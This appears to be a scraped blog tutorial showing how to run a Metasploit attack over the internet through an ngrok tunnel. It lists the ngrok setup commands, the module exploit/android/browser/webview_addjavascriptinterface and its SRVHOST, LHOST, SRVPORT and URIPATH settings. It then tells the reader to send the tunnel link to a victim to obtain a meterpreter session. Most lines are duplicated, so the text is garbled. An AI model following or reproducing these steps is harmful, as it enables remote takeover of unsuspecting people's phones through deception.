In
all of my previous Metasploit articles or videos, I am always performing
attacks on LAN. Lots of people were asking me how to use Metasploit on the
Internet or WAN. One way is to port forward the router. But in today’s post, I
am going to use a different method which doesn’t require any port forwarding.
all of my previous Metasploit articles or videos, I am always performing
attacks on LAN. Lots of people were asking me how to use Metasploit on the
Internet or WAN. One way is to port forward the router. But in today’s post, I
am going to use a different method which doesn’t require any port forwarding.
Table of Contents
Setting Ngrok
·
Use any disposable email service to sign up.
Use any disposable email service to sign up.
·
After signing up, log in to Ngrok.com and download the ngrok
file.
After signing up, log in to Ngrok.com and download the ngrok
file.
·
Now extract the file and open terminal in that folder.
Now extract the file and open terminal in that folder.
·
Log in again to your ngrok account and type the commands
available on that page.
Log in again to your ngrok account and type the commands
available on that page.
·
Copy the authentication code command and paste in the terminal.
Copy the authentication code command and paste in the terminal.
./ngrok authtoken
your_authentication_code
·
With the above command, the authentication code will be saved in
your computer.
With the above command, the authentication code will be saved in
your computer.
·
Now type the following command to start the tunnel.
Now type the following command to start the tunnel.
./ngrok http
4431
4431
·
Now the ngrok will start a tunnel to your computer. Copy the
Ngrok URL we will need this URL later in this tutorial. Also remember the port
in above command.
Now the ngrok will start a tunnel to your computer. Copy the
Ngrok URL we will need this URL later in this tutorial. Also remember the port
in above command.
Using Metasploit with
Ngrok
·
For this tutorial, we are using Android web view exploit.
For this tutorial, we are using Android web view exploit.
·
Open terminal and type msfconsole.
Open terminal and type msfconsole.
·
Now type the following command to load Android web view exploit.
Now type the following command to load Android web view exploit.
use
exploit/android/browser/webview_addjavascriptinterface
exploit/android/browser/webview_addjavascriptinterface
·
Now while setting SRVHOST and LHOST use localhost.
Now while setting SRVHOST and LHOST use localhost.
set srvhost localhost
set lhost localhost
·
In SRVPORT we will use same port that we have used while
starting ngrok .i.e 4431.
In SRVPORT we will use same port that we have used while
starting ngrok .i.e 4431.
set srvport 4431
·
Now set URIPATH to /. Use the following commands.
Now set URIPATH to /. Use the following commands.
set uripath /
·
Above three steps are most important, so don’t change the
values.
Above three steps are most important, so don’t change the
values.
·
Then enter run to start exploit.
Then enter run to start exploit.
·
Now you can send the link that you have got when you started
Ngrok to the victim and you we be able to get the
meterpreter session over the internet
Now you can send the link that you have got when you started
Ngrok to the victim and you we be able to get the
meterpreter session over the internet
Video Demonstration
Use Social Engineering
Toolkit without Port Forwarding
NOTE
·
Don’t change the values of srvhost, lhost and uripath.
Don’t change the values of srvhost, lhost and uripath.
·
Make sure srvport and port you set while starting ngrok are
same.
Make sure srvport and port you set while starting ngrok are
same.
·
Only for educational purpose.
Only for educational purpose.
Author:
This
article has been written by Aditya Joshi who writes for creedsec.net
and can be reached on @darktruth190
article has been written by Aditya Joshi who writes for creedsec.net
and can be reached on @darktruth190